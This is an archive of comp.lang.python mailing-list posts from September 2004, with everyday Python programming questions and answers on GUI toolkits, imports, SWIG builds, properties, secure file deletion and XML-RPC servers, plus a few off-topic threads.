and Python's last connection to >>the Tcl/TK albatross will be forever broken. >> >>OK, I just made all this up. But why couldn't it happen? I'd even be tempted >>to code it myself, but I'm sure others with some wxPython experience could >>do it much faster and better. > > > Well, it would break my app. The TKInter text widget is better than what > the wxWindows text widget can provide for me Agreed. And I didn't see any equivalent of the Tkinter Canvas widget in any other toolset. In fact, I didn't even see any widget coming close to it. For some kind of applications (namely application doing vector drawing), it is nearly impossible to consider anything else than Tkinter *because* of the Canvas widget... However, I'll be glad if someone can prove me wrong... -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From jolsen at despammed.com Fri Sep 10 06:10:59 2004 From: jolsen at despammed.com (Jesper Olsen) Date: 10 Sep 2004 03:10:59 -0700 Subject: RSS generation Message-ID: Hi, I'm looking for a python module which can help generate RSS feeds in various formats - 0.92, 1.0, 2.0, atom etc... Does something like that like that exist - non zope based? /Jesper From abra9823 at mail.usyd.edu.au Wed Sep 15 13:52:06 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Thu, 16 Sep 2004 03:52:06 +1000 Subject: another tkinter question Message-ID: <1095270726.414881467f5e2@www-mail.usyd.edu.au> hi! i have a main GUI class, which goes something like class MainApp: def __init__(self, master): self.frame = Frame(master) self.frame.pack() ... now MainApp has a method evaluate() which calls a function, do_eval() in another module. i pass the frame to do_eval to allow it to print error messages using tkMessageBox. the problem is when in do_eval i do tkMessageBox.showerror("Info", ea.promptMessage, parent=self.frame) here, nothing gets displayed at all. i hear the sound associated with error messages, but no message box appears. what am i doing wrong thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From rst at _nospam_.drlug.org._nospam_ Sun Sep 5 23:55:37 2004 From: rst at _nospam_.drlug.org._nospam_ (Rune Strand) Date: Mon, 06 Sep 2004 05:55:37 +0200 Subject: Fastest way to loop through each digit in a number? References: <7xisasdqll.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: >You could try timing something like > > while n: > n,d = divmod(n, 10) > foo(d) > >That processes the digits in reverse order, of course. Thanks! It's faster! But Roy Smiths modulus (%) method is even faster. The order does matter, but even when appending d to a list inside the loop and reversing it when done, your methods are faster than my initial groks ;-) From peter at engcorp.com Tue Sep 21 10:28:39 2004 From: peter at engcorp.com (phansen) Date: Tue, 21 Sep 2004 10:28:39 -0400 Subject: Missing fpconst? In-Reply-To: References: Message-ID: Rainer Mansfeld wrote: > phansen wrote: >> page http://www.analytics.washington.edu/Zope/projects/fpconst/ >> which no longer exists. Attempts to find the project >> in other ways have so far failed. >> > you can download fpconst from > > http://www.analytics.washington.edu/statcomp/projects/testfolder/rzope/fpconst Thank you! That works. Oddly, the only link to it on the planet (according to Google) before now was buried in the pywebsvcs-talk list on Sourceforge, at http://sourceforge.net/mailarchive/forum.php?thread_id=5549036&forum_id=1729 I guess they forgot to tell anyone they moved it. :-) -Peter From aleaxit at yahoo.com Wed Sep 8 02:31:34 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 08:31:34 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com> Message-ID: <1gjsc88.1ufkzncvrngdN%aleaxit@yahoo.com> Carlos Ribeiro wrote: > On Tue, 07 Sep 2004 20:04:57 GMT, Anna Martelli Ravenscroft > wrote: > > I *guess* I had thought of it, if at all, as something similar to > > int('2') or float(2). They're useful, but only in very limited specific > > cases. I would have expected list('cat') to force a list out of the > > string. Just like int() or float() and, well, that's it. That's as far > > as I would have thought of it as being useful... > > Extending your reasoning a little bit, list(anything) smells a > typecast -- something that's used to convert a variable of one type > into a variable of another type. I know of no language in which such casts are limited to variables nor any in which they produce variables: it's always about _expressions_ (in C terminology, "rvalues" -- can be on the R-ight of the = in an assignment -- not "lvalues"... can't be on the L-eft ditto). > But a generator can't be "typecast" > in my mental model -- it`s not a variable. It is a "program" that > returns a sequence of values that have to be processed somehow. On the It's an expression, it's not a variable -- "foo()=23" is incorrect, of course. But so is, say, "2+2=23" because 2+2 is also an expression, not a variable, yet of course something like str(2+2) is fine. That erroneous focus on variable rather than expression must matter, then. > other hand, [x for x in generator()] reads as a description of what is > getting done -- an algorithm of sorts -- and then it comes up as a > natural solution for the problem. Yes, it does read as a loop. The funny thing is, I haven't seen the same issues regarding sum(somenumbers()) -- which reads as a function call, syntactically the same as list(somenumbers()), not as a loop. > Now I'll admit my ignorance and say that I didn't had the slightest > idea about what do generator expressions meant until now. I just read > the PEP, and it`s neat -- but I havent time to figure out the impact > (remember, I was out of the list over the past year and half :-) Well, as long as list comprehensions remain side by side with the new generator comprehensions, the drive to use list comprehensions rather than other constructs will presumably remain intact. Alex From aleaxit at yahoo.com Sat Sep 11 17:39:33 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 23:39:33 +0200 Subject: How do you make issubclass work References: <52f8effc.0409102054.4bcaa426@posting.google.com> <52f8effc.0409111056.62be09f6@posting.google.com> Message-ID: <1gjz2vv.1uc3tnrmx6hklN%aleaxit@yahoo.com> Andrew Dalke wrote: ... > To make what you want work, well, a good rule is to avoid > circular imports. Another is that your main code should > not be imported. But if you want so see your code to work > as you expect it to work, you need to change b.py so that > the "from a import cla_a" is instead > "from __main__ import cla_a" I would suggest a different workaround if it's important that module a.py be runnable as main _and_ importable as a without getting two copies: start a.py with the incantation... import sys if __name__!='a': sys.modules[a]=sys.modules[__name__] After this, if any other module should 'import a', it WILL get the module from a.py, not a separate copy. This won't solve everything, by a long shot (circular imports _are_ trouble, period), but it will at least remove the single issue of the "two modules from the same a.py source file"...! Alex From marc0 at autistici.org Thu Sep 9 09:25:14 2004 From: marc0 at autistici.org (Marco Parrone) Date: Thu, 09 Sep 2004 13:25:14 GMT Subject: OT: Authoritarian Control (was: Xah Lee's Unixism) References: <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> Message-ID: <87zn3ztw60.fsf_-_@marc0.dyndns.org> Chuck Dillon on Thu, 09 Sep 2004 08:10:30 -0500 writes: > justifiable. Given the known presence of individuals in country that > are organized and willing to carry out crimes on massive scales most ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Nothing fits better this description more than armies and governments. Open your eyes, _they_ are the criminals. Anarchy Is Order. -- Trenitalia censoring online! Autistici/Inventati under attack! -. .-----. .-----. ---------- .--. #| o======|#####| o======|#####| |# #| .--. |##| ---. .------------. .------------. |----+####+-----+##+--+##| o)o ) ( (o)o(o)o(o)o ) ( (o)o(o)o(o)o ) |###aAAb###aAAb###aAAb###| = http://www.autistici.org/ai/trenitalia =-|--(doob)-(doob)-(doob)--# o )) ( o )) ( o )) ( o )) ( o )) `uu' `uu' `uu' From cookedm+news at physics.mcmaster.ca Mon Sep 13 14:28:37 2004 From: cookedm+news at physics.mcmaster.ca (David M. Cooke) Date: Mon, 13 Sep 2004 14:28:37 -0400 Subject: Sample distutil setup.py script that uses SWIG and C++? References: <283adf56.0409130434.2ae0ba73@posting.google.com> Message-ID: kdahlhaus at yahoo.com (Kevin Dahlhausen) writes: > Could anyone post a simple setup.py script that uses a SWIG interface > to C++ code and the mingw compiler? > > I followed some online samples, and am using the setup.cfg file to > specify swig-c++=1. > > Trying to build using mingw out of the cygwin environment but the > final call to link the extension calls directly to 'cc' which I think > should really be g++ at that point. > > Did get everything to build with a Makefile, but that's not the right > way to go. That's what I do: a Makefile that runs swig, and setup.py just compiles the output. One advantage with this approach is you can include the SWIG'd sources in your distribution tarball, and your user then doesn't need to have SWIG installed (assuming you don't use the SWIG runtime library, of course). I also use pyrex in my project, and I do the same thing with it. The other advantage is it's easy to pass the appropiate parameters to swig (mine are -c++ -Wall -python -modern), without digging around into internals. If you look at the code in distutils for SWIG support, it's a hack: pasted on for this one tool, and very annonying to extend. And using it with C++ is even worse. On some machines, I use a different C++ compiler than the C compiler (GNU C++ with Compaq C, for instance), and distutils makes a hash of that. -- |>|\/|< /--------------------------------------------------------------------------\ |David M. Cooke |cookedm(at)physics(dot)mcmaster(dot)ca From steveo at eircom.net Sat Sep 4 02:33:42 2004 From: steveo at eircom.net (Steve O'Hara-Smith) Date: Sat, 4 Sep 2004 07:33:42 +0100 Subject: Xah Lee's Unixism References: <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <41386155$0$19713$61fed72c@news.rcn.com> <2prna6Fnrv5rU1@uni-berlin.de> Message-ID: <20040904073342.5da8c563.steveo@eircom.net> On Fri, 3 Sep 2004 18:12:20 +0100 "Stimpy" wrote: > jmfbahciv at aol.com wrote: > > > > been other than aquariums and zoos. There are ruts in the > > stone-block pavements caused by running carts to/from harbor/city. > > We were told that these ruts were worn down by usage. > > There are many streets and paths in the UK still in everyday use where this > is the case! There are stone stairs in my old school and in many college buildings that have deep curves worn into them by feet over a century or three. -- C:>WIN | Directable Mirror Arrays The computer obeys and wins. | A better way to focus the sun You lose and Bill collects. | licences available see | http://www.sohara.org/ From yves.daoust at tiscali.be Thu Sep 16 10:23:53 2004 From: yves.daoust at tiscali.be (Yves Daoust) Date: 16 Sep 2004 07:23:53 -0700 Subject: Can anyone confirm that menu events are not supported Message-ID: by Tkinter under Windows. Thanks, Dr Ir Yves Daoust From aleaxit at yahoo.com Wed Sep 22 15:27:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 21:27:01 +0200 Subject: python ides References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <1gkj4c6.1xmd0xd1jdgzx9N%aleaxit@yahoo.com> Message-ID: <1gkj9oh.jxczua1nwfvogN%aleaxit@yahoo.com> David Bolen wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > > > > hits that point (whether it's running deep inside a web server, or any > > > > ...we WERE "deep inside a web server" (one coded with Twisted)... > > Ah, I sort of assumed (since you mentioned Twisted) that it was a > server you could start up from scratch completely under Wing's control > and then take it to the point of failure just letting Wing's normal > exception catching mechanism work - thus, just starting it from the IDE. Sigh, not quite, the startup isn't all plain sailing. > The exception trapping support of Wing, BTW, as you also mentioned, is > definitely impressive since it's the only one I've seen that can cross > the Python->C Extension-Python boundary and still trap an exception. > Works great with exceptions in wxPython applications since those all > occur on the other "side" of the wxPython extension, and aren't > generally caught by other debuggers i've tried. Of course, this does > occasionally catch "normal" exceptions suppressed by such extensions > that you then need to ignore, but Wing makes that simple too. I assume (without knowing in depth) that's part of what makes it so indispensable to the guy who's coding deep and complicated stuff in PyQt: there's plenty of C++ code there, just as in wx{Widgets,Python}. > The environments I was originally envisioning were those where you > really couldn't manually start the application directly from Wing. So > in the web case, something like Apache using mod_python, or perhaps > when trying to debug a COM server that is initiated as an in-proc > server from a C++ application. Yeah, there's a lot of that going around -- Python embedded in other apps or other cases where the Python part you're interested in must be started under another app's control (you might simulate the startup some of the time, but it can be bothersome or even nigh-impossible). > But of course that mechanism is just as useful even if you could start > your own application, since it lets you minimize the debugging > overhead until you actually reach the right point (which might be > after some unknown amount of runtime). That's possible, too, though a debugger who's _only_ gonna catch exceptions might not have all that much overhead until an exception does happen. Alex From Felix.Wiemann at gmx.net Sat Sep 4 20:41:35 2004 From: Felix.Wiemann at gmx.net (Felix Wiemann) Date: Sun, 05 Sep 2004 02:41:35 +0200 Subject: Module name conflict with standard library Message-ID: <87k6v9o8cg.fsf@news2.ososo.de> Hi! I want to create a module myproject.ui.curses, which needs to import the curses library. However, if I just write ``import curses``, the module imports *itself* instead of the standard library's curses module. Is there any (reliable) way to access a module of the standard library if the names conflict as in this case? Thank you in advance, Felix Wiemann -- http://www.ososo.de/ From maney at pobox.com Mon Sep 20 00:02:20 2004 From: maney at pobox.com (Martin Maney) Date: Mon, 20 Sep 2004 04:02:20 +0000 (UTC) Subject: python is going to die! =( References: Message-ID: julio wrote: >> C # is easy to use,fast apps coding (as python) but!! it has all the >> advantages of a compiled language > i mean static typed, sorry. s/static/prematurely/ I used to make that mistake, too. :-) -- One lesson I've learned from my years as Linux's hood ornament is that there's something worse: some folks can't be content to just take things too seriously on their own. They're not happy unless they can convince others to go along with their obsession. -- Linus From b.niemann at betternet.de Mon Sep 6 09:30:12 2004 From: b.niemann at betternet.de (Benjamin Niemann) Date: Mon, 06 Sep 2004 15:30:12 +0200 Subject: Secure delete with python In-Reply-To: References: Message-ID: Benjamin Niemann wrote: > Boris Genc wrote: > >> Hi everybody. >> I was wandering is there a method or a function already implemented in >> python that supports secure deletion of data? >> >> I'm interested in something which is able to securely wipe data (from >> single file to bunch of MB's), and that should run both on Linux and >> Windows. >> >> I tried on google, but I hadn't found anything useful to me. >> >> Thank you very much in advance. >> >> Boris Genc > > something like > > fp = open(path, "wb") > for i in range(os.path.getsize(path)): > fp.write("*") > fp.close() > os.unlink(path) and there is no guarantee that this actually overwrites the old file. The filesystem may choose to write the new content at another location of the disk, leaving the original data untouched. From piet at cs.uu.nl Fri Sep 24 08:23:22 2004 From: piet at cs.uu.nl (Piet van Oostrum) Date: Fri, 24 Sep 2004 14:23:22 +0200 Subject: Why not FP for Money? References: Message-ID: >>>>> Piet van Oostrum (PvO) wrote: PvO> I could use the decimal representation with the least number of digits This should read: It could use ... -- Piet van Oostrum URL: http://www.cs.uu.nl/~piet [PGP] Private email: P.van.Oostrum at hccnet.nl From tuplad at gmail.com Sat Sep 11 14:04:34 2004 From: tuplad at gmail.com (TuPLaD) Date: 11 Sep 2004 11:04:34 -0700 Subject: if-else-then References: <848b3711.0409110434.6db93979@posting.google.com> <1m7clbr2obvc$.dlg@thorstenkampe.de> Message-ID: <848b3711.0409111004.1c3b222a@posting.google.com> Thorsten Kampe wrote in message news:<1m7clbr2obvc$.dlg at thorstenkampe.de>... > In fact my script is a bit stricter than your question: it doesn't > allow 'yep' or 'nononono'. Some utilities allow that (probably with a > reason) and even non localised answers (for instance in German 'j', > 'ja' (pronounced 'yaa') would be valid answers, but also 'y', 'ye' and > 'yes' are allowed). > > If you want that you would only have to ask whether the answer starts > with the same letter as your valid answer. > > Thorsten I dont need anything like that now :) I just started learning the language ;-) -------------------------------------------------------------------------------- Thx for the answers everyone ! From kepes.krisztian at peto.hu Tue Sep 7 09:23:56 2004 From: kepes.krisztian at peto.hu (kepes.krisztian) Date: Tue, 07 Sep 2004 15:23:56 +0200 Subject: SOS - property question Message-ID: <413DB66C.301@peto.hu> Hi ! I don't understand something: See that code: class A(object): __slots__=('x','a','__v') def __init__(self): self.__v=0 def g(self): print "g" return self.__v def s(self,v): self.__v=v print "s" GS=property(g,s) a=A() print a.g() a.s(1) print a.g() #print a.GS a.GS=2 print a.GS print a.g() It is working. But when we remove slots, it is missing: the a.GS is not used as property, it is access a local member. Why ? class A(object): def __init__(self): self.__v=0 def g(self): print "g" return self.__v def s(self,v): self.__v=v print "s" GS=property(g,s) a=A() print a.g() a.s(1) print a.g() #print a.GS a.GS=2 print a.GS print a.g() Another question: why the __slots__ is working only if this member is in body of A ? Why isn't when it is in the __init__ procedure ? def __init__(self): self.__v=0 __slots__=('x','a','__v') Thanx for help: FT From alikakakhel3 at hotmail.com Wed Sep 1 15:01:58 2004 From: alikakakhel3 at hotmail.com (Ali) Date: 1 Sep 2004 12:01:58 -0700 Subject: I think a problem occured when i used long() Message-ID: <8f17f4bc.0409011101.5ace996@posting.google.com> I did the folloing in python shell: >>> x = 5.07e-25 >>> x = long(x) >>> print x 0L Um... I was under the impresion that long numbers had very very long precision. But, it seems that in this case it rounded it to zero :( Please Help. Thank you :) From ville at spammers.com Thu Sep 30 02:07:47 2004 From: ville at spammers.com (Ville Vainio) Date: 30 Sep 2004 09:07:47 +0300 Subject: ipython instrospection like editor,ide References: Message-ID: >>>>> "Ismael" == Ismael Herrera writes: Ismael> Hi,i wonder if there is an editor or ide that has similar Ismael> dinamic instrospection features as ipython? ,since i have Ismael> failed to find one, i spend more time coding in ipython Ismael> than in my editor. Eclipse + pydev has code completion, i.e if you type "os." It gives you the list of all the stuff in os. -- Ville Vainio http://tinyurl.com/2prnb From fuzzyman at gmail.com Mon Sep 6 04:46:29 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 6 Sep 2004 01:46:29 -0700 Subject: view http info when browsing References: <56d498d9.0409051725.1c7d3258@posting.google.com> Message-ID: <6f402501.0409060046.8b96fb2@posting.google.com> santoshamb at yahoo.com (ben) wrote in message news:<56d498d9.0409051725.1c7d3258 at posting.google.com>... > I'm trying to write a web client script in python to log onto a web > page and pull some information off of it. The page has quite a few > behind the scenes http things going on that are making it difficult to > write the python script. I think if I could see the raw http data > that comes to my browser life would be much easier. Does anybody know > of programs that would run alongside my browser and show the http data > that is send back and forth? > > I've looked at plugins like httpwatch and iewatch. httpwatch looks > good but it costs quite a bit of money, and the trial is not fully > functional. iewatch has a free trial, but they don't show cookie > info, which is important. > > Does anybody know a good way of view the raw http? > > Thanks for your help, > > Ben TCPwatch should do what you want. It's a proxy serverso you'll have to point your browser at that - it shows headers and page content etc..... If you're handling cookies then ClientCookie (or cookielib) could well do what you want without you having to worry about it (if you're using python why do you need a browser - why can't you just print the headers ?) Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From mwh at python.net Mon Sep 13 08:49:08 2004 From: mwh at python.net (Michael Hudson) Date: Mon, 13 Sep 2004 12:49:08 GMT Subject: Annotatable Python docs -- now a reality !!! References: Message-ID: steve at ferg.org (Stephen Ferg) writes: > Andrew Kuchling has just posted this (see below) on his blog. He also posted about it here last week! (n7SdnZtMDYiO_N3cRVn-iw at speakeasy.net). Cheers, mwh -- I have *both* hands clapping, but I'm still not sure it's a sound. When I tried deciding if it were a sound while clapping only one hand, I fell off my chair. -- Peter Hansen, Zen master, comp.lang.python From zanesdad at bellsouth.net Mon Sep 27 19:30:19 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Mon, 27 Sep 2004 19:30:19 -0400 Subject: SimpleXMLRPCServer In-Reply-To: References: Message-ID: <4158A28B.3050501@bellsouth.net> Istvan Albert wrote: > Yannick Turgeon wrote: > >> "Simple". What are its limitations? > > > No limitations whatsoever ... it is "Simple" to use > > :-0 > > Istvan. > Simple indeed. I don't know for sure the reasons for naming it "Simple". But it may have to do with the fact that the out-of-the-box SimpleXMLRPCServer will only handle one request at a time: a request comes in, the server accepts that request, blocking until the method call returns, and the response is sent back to the client. It does not spawn a thread per request. It does not "select" among multiple requests. It will not create a thread pool for you. If you want that added functionality, you can write a little custom code to get it to spawn a thread per request. A little more code to only spawn n number of threads. A little more code still to create a thread pool. And if you want a server that "select"s among multiple requests, I'm not 100% sure, but I bet Twisted has one of those. But I've got a good bit of confidence in the "SimpleXMLRPCServer." I've written a small modification to spawn a thread per request and am about to write a test harness to pound my underlying library to pieces through the slightly modified SimpleXMLRPCServer. I'm hopeful for good results - at least in robustness if not performance. HTH, Jeremy From jmlai at uci.edu Wed Sep 1 06:51:53 2004 From: jmlai at uci.edu (Jason Lai) Date: Wed, 01 Sep 2004 03:51:53 -0700 Subject: Modules are hashable?! In-Reply-To: <2pld08Fm7mo8U1@uni-berlin.de> References: <2pld08Fm7mo8U1@uni-berlin.de> Message-ID: Leif K-Brooks wrote: > I was just playing around, and noticed that modules seem to be hashable. > Can anyone explain that, especially given the fact that they're mutable? > Most objects in Python are hashable, and also mutable. If you define a class Foo and create x = Foo(), x will be hashable. But you can also do x.stuff = 3. So modules appear to be pretty much regular objects, which are usually hashed by ID -- which will be unique for any two objects. Try hash(sys) == id(sys) to see for yourself. Lists, tuples, dicts, strings, and a few other things are odd in that they're hashed/compared by their contents rather than ID. So you can have two different objects that are equivalent with regards to hashing or comparing. Due to the way hashing works, the hash value is not allowed to change while it's in a dict. IDs never change, so regular objects have an unchanging hash value even if you change their contents. For the special objects, changing the contents would change the hash value, and that's not allowed. I think that's how it works, anyway :P - Jason Lai From ialbert at mailblocks.com Wed Sep 15 10:59:26 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 15 Sep 2004 10:59:26 -0400 Subject: Random Instance generation In-Reply-To: <494182a9.0409141247.608d365f@posting.google.com> References: <494182a9.0409141247.608d365f@posting.google.com> Message-ID: <49ednX7y8p1QxdXcRVn-sg@giganews.com> Balaji wrote: > Hello eveybody.... > > Suppose there is a class A: > > I want to generate say 100 random instance of it... > > How can I do that.... > > I want the instance name to be like a1, a2, a3... Usually when you feel that you need to generate instances with certain names you are on the wrong track in translating the problem you need to solve into a program. You can always store 100 instances in a list then iterate over them. If you need to identify individual instances by name, create a data structure (the simplest is a dictionary) that maps a name to an instance. Istvan. From ciuraNOSPAM at zeus.polsl.gliwice.pl Mon Sep 20 16:23:17 2004 From: ciuraNOSPAM at zeus.polsl.gliwice.pl (Marcin Ciura) Date: Mon, 20 Sep 2004 22:23:17 +0200 Subject: urlretrieve hangs on large files (sometimes) In-Reply-To: <2QG3d.18$ZC3.38058@news.uswest.net> References: <2QG3d.18$ZC3.38058@news.uswest.net> Message-ID: <2r8sefF162smeU1@uni-berlin.de> Josh wrote: > Hi. I am writing a script that downloads lots of zips from a usgs site. > All is going well except that occasionally, in the midst of downloading > a file, the script just hangs and i must either ctrl-break it (running > from command line) or, if I wait about 20 minutes after it hangs, even > that won't allow me to close it. Either way, I must then restart the > program and have it pick up where it left off. Use socket.setdefaulttimeout(). Marcin From bradtilley at usa.net Mon Sep 13 19:20:40 2004 From: bradtilley at usa.net (Brad Tilley) Date: Mon, 13 Sep 2004 19:20:40 -0400 Subject: check for unused ports and then grab one In-Reply-To: <9-adnWpzmJ90itvcRVn-vA@powergate.ca> References: <9-adnWpzmJ90itvcRVn-vA@powergate.ca> Message-ID: Peter Hansen wrote: > Brad Tilley wrote: > >> Instead of me arbitrarily assigning a high port number to a variable, >> is it possible to check for ports that are unused and then randomly >> assign one of them to a variable? Something like this is what I'm >> thinking: >> >> port = socket.getunusedport() >> >> Any ideas? > > > As Erik says, use a loop until you get a free one, catching the > exceptions that are raised as you try to use the occupied ones. > > I'm curious what you are trying to do though. Normally a server > has to listen on a predefined port or the clients won't be able > to connect, and a client doesn't need to specify which port it > will bind to as the OS will pick a free one automatically. I've > never had to do what you are trying to do, thus my curiosity... > > -Peter I use Python for administering windows clients. This software will facilitate that... that's all. The server (which resides on the win clients) has to start and configure itself dynamically. Using the same port number isn't necessary and I prefer not to hard code it. Each server will have a client component that grabs the current IP (dhcp) and port number the server is using and then sends it to a separate machine (sys-admin workstation) that is collecting a list of ips and ports for later usage. Brad From godoy at ieee.org Wed Sep 15 09:21:47 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 15 Sep 2004 10:21:47 -0300 Subject: Ranting about the state of Python IDEs for Windows References: <864d3709040913131077f1732d@mail.gmail.com> Message-ID: Carlos Ribeiro writes: > On Wed, 15 Sep 2004 14:25:57 +0200, Frithiof Andreas Jensen > wrote: >> [comments about session management] >> >> The newer graphics cards such as the plain vanilla NVIDIA GF 2 MX, comes >> with such a functionality: N-View. > > Well, I was thinking about something a little more complex, and that > would demand support from the individual applications. I've commented > it elsewhere earlier today; it's about having named sessions that > could be saved or resumed at will. For example, I'm a preparing a > presentation. I have the presentation software and a drawing program > opened; Firefox is also open with a dozen of pages for my research. > Instead of just saving the presentation, I would like to save the > entire context of what I was doing -- this way, I can resume it later > frm exactly the same point where I left it. Once saved, I can resume > any other session that I've opened before, and so on... I guess I heard something like that from a client of mine. He told me about Sun X Terminals with memory cards. You plug your card and there you are. You go out for lunch, take your card with you, and when you come back you can choose any other workstation available: just plug your card and resume your work. > Of course, for it to work I would need a new machine :-) There's already some support for it in KDE. It always opens the programs I was running before exiting and for the ones with support, it even opens the locations (e.g. directories on konsoles I have, tabs on Firefox/Mozilla, etc.). -- Godoy. From chris.cavalaria at free.fr Sat Sep 18 19:16:32 2004 From: chris.cavalaria at free.fr (Christophe Cavalaria) Date: Sun, 19 Sep 2004 01:16:32 +0200 Subject: So I guess PyUI is long abandonded? What else is there? References: <864d3709040918140135a95917@mail.gmail.com> Message-ID: <414cc1d1$0$25710$636a15ce@news.free.fr> Martin Maney wrote: > On Sat, Sep 18, 2004 at 06:01:13PM -0300, Carlos Ribeiro wrote: >> I've checked PyUI right now, and it seems that there is a release >> numbered "1.0" - which is a sign that it must have reached a somewhat >> stable stage. The win32 ZIP file that I've downloaded does not >> contain any windows specific dll, pyd or exe file, but only pure >> Python code. > > Yes, as an already-installed tree with the files compiled - well, that > explains the 1.0.Py2-2 versioning in the name. > > Anyway, I've found the problem buried in a feature request at the > project's sourceforge site. In his own words: > > The OpenGL renderer on 0.95 depends on WGL which is available only on > Windows implementations. Support for other platforms such as Mac and > Linux would be nice. > > Since the project description claims it, yeah, that sure would be nice. > This perfectly explains the errors I've been seeing. Thanks, Carlos, > you stirred me to dig deeper and put the nail in it - it's another case > of "Microsoft compatibility" leading another poor fool astray. > > This truly does help. Now I can stop wondering whether it was > something I was doing wrong and walk away from this waste of time. > Would some god-like person with access please make a note of this on > the uneditable PyUi page on the wiki? Then there'd be at least a > chance others could avoid wasting their time. > > Thanks! > Well, I think that it's simply due to the fact that the docs for pyui are out of date. It's true that the gl rendere needs WGL, but the p3d renderer only needs SDL and pygame to work. Too bad that they don't mention it, isn't it ? From vze4rx4y at verizon.net Wed Sep 15 18:50:17 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Wed, 15 Sep 2004 22:50:17 GMT Subject: Rotating lists? References: Message-ID: [Ivan Voras] > I need to transform this: > > [1,2,3] > > into this: > > [2,3,1] > > (a left-rotation. Actually, any rotation will do). For Py2.4, use collections.deque.rotate(). For earlier Pythons, concatenate list slices: a[1:] + a[:1] Raymond Hettinger From aleaxit at yahoo.com Tue Sep 7 02:32:23 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 08:32:23 +0200 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <9JmdnQkSR7m8e6rcRVn-sA@powergate.ca> <1gjptav.14nmw6g1vl4vedN%aleaxit@yahoo.com> Message-ID: <1gjqhf6.1odfnw6j3dv48N%aleaxit@yahoo.com> Peter Hansen wrote: > Alex Martelli wrote: > > > Claiming that you have to have all info in memory before a tuple can be > > built is simply wrong -- your previous claim that the info had to be in > > a list was even "wronger", sure, but that doesn't make your current > > weaker claims correct in the least. > > So, back in the original context here... would you agree that > use of a tuple is "quite realistic" (i.e. a technique that will > save significant amounts of memory) when "there is a huge amount > of static data that you need to access quickly"? A list of N items over-allocates a bit more than 12% slots (N>>2+6 for large N). As to whether that saving can be all that significant, I have my doubts -- a typical list or tuple will uniquely hold a different object per slot, and an object is way larger than a slot -- the saving is only in slots, since the objects will be around anyway whether held in a list or tuple. So the overall savings of memory should be a few percent at most, excepting unlikely cases where many slots of the container are referring to the same (relatively few) objects, and even in the best case can't be more than 10% or so. I would not normally call even 10% a "significant" amount of memory saving. This has nothing to do with the issue of where you're keeping the data before building the container, really. You could have plenty of memory _at the time you're building the container_, towards the start of your program, and yet be quite interested in having the long-lasting container eat up as little memory as feasible, in order to leave memory available for other uses later, in those crunch-times where you know your program can end up memory-cramped. Unfortunately, the savings available this way are not big, I believe. Alex From cce at clarkevans.com Mon Sep 20 17:42:55 2004 From: cce at clarkevans.com (Clark C. Evans) Date: Mon, 20 Sep 2004 17:42:55 -0400 Subject: PyYaml? In-Reply-To: References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> Message-ID: <20040920214255.GA29861@prometheusresearch.com> On Mon, Sep 20, 2004 at 10:02:49PM +0100, Paul Moore wrote: | > Serialization security seems generally assigned as a responsibility | > of the user, who is usually in the best position to gage their | > data's effects. The best a serialization format can do is ensure | > data reconstruction within the bounds described by the user. | | As I say, most of this should be in the YAML documentation. I'll be | charitable and assume that it's just something that hasn't been | written up yet, but that section in the spec that I quoted looks | pretty explicit in its vagueness :-) Indeed. I'd go so far to say it's a blind spot; or, probably more accurately, something that we have not had time to seriously address. I think some of the changes with how implicit typing is specified should help in this regard -- it punts much of the security issues to the application. If the Application wishes to use a lazy-approach (and hence insecure) to mapping tags to native object implementations, then it should be explicitly requested by the Application. The other faults in PyYaml, as diligently pointed out by Andrew, are implementation faults and not directly attributable to YAML itself. Clark From jdhunter at ace.bsd.uchicago.edu Tue Sep 14 07:00:56 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Tue, 14 Sep 2004 06:00:56 -0500 Subject: Using Python instead of DOS shell scripts In-Reply-To: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> (Jeff Wagner's message of "Tue, 14 Sep 2004 04:56:12 GMT") References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> Message-ID: >>>>> "Jeff" == Jeff Wagner writes: Jeff> I have a project of converting numerous DOS cmd shell Jeff> scripts to Python. Is there a tutorial to getting started? It might be a good idea to post one of the bat scripts you want to convert. The resident gurus might show you a python equivalent, which you could then study for inspiration. From code_fu at pathfinder.gr Mon Sep 27 22:29:33 2004 From: code_fu at pathfinder.gr 